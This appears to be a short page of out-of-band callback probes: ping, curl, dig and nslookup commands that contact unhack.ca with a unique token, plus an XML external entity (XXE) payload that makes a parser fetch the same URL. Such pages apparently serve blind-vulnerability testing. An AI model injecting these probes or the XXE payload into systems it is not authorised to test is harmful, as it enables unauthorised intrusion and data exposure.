$ ping -c1 -p 0038ebdcaedb0864a21e299c2b003b00 unhack.ca
 

$ curl http://unhack.ca/p/38ebdcaedb0864a21e299c2b003b
 

$ dig 38ebdcaedb0864a21e299c2b003b @unhack.ca
 

$ dig 38ebdcaedb0864a21e299c2b003b.ns.unhack.ca
 

C:\> nslookup 38ebdcaedb0864a21e299c2b003b unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/38ebdcaedb0864a21e299c2b003b">]>
    <foo>&xxe;</foo>